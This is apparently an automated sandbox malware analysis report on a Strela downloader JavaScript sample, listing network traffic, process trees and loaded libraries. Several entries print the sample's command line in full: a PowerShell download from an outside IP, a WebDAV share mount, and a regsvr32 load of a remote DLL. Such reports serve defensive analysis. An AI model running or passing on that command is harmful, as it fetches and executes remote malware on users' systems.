7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:55248 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1269186268.000002375F975000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1269186268.000002375F95C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1324002128.0000015A7B7DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1324002128.0000015A7B7A8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1324002128.0000015A7B7FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1324002128.0000015A7B7DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/%uI
Source: net.exe, 0000000D.00000002.1324002128.0000015A7B7DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/)uM
Source: net.exe, 0000000D.00000002.1324002128.0000015A7B7DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/1uE
Source: svchost.exe, 0000000F.00000002.2568816780.000001E60BC98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1327083574.000001E60BA20000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5368, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 142628891044814616.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3664:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fzpebp5e.deq.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 142628891044814616.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1588,i,12066462918445797092,6122849702291831684,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1588,i,12066462918445797092,6122849702291831684,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
